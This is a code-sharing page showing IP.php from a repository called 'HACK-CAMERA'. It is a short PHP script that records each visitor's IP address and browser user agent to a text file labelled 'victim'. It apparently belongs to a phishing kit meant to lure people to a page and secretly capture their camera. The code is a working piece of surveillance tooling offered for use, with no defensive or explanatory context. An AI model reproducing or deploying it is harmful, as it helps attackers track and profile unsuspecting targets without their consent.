Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hackerxphantom
GitHub Repository: hackerxphantom/HACK-CAMERA
Path: blob/Master/IP.php
131 views
1
<?php
2
3
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
4
$ipaddress = $_SERVER['HTTP_CLIENT_IP'] . "\r\n";
5
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
6
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'] . "\r\n";
7
} else {
8
$ipaddress = $_SERVER['REMOTE_ADDR'] . "\r\n";
9
}
10
$useragent = " User-Agent: ";
11
$browser = $_SERVER['HTTP_USER_AGENT'];
12
13
14
$file = 'ip.txt';
15
$victim = "IP: ";
16
$fp = fopen($file, 'a');
17
18
fwrite($fp, $victim);
19
fwrite($fp, $ipaddress);
20
fwrite($fp, $useragent);
21
fwrite($fp, $browser);
22
23
24
fclose($fp);
25
26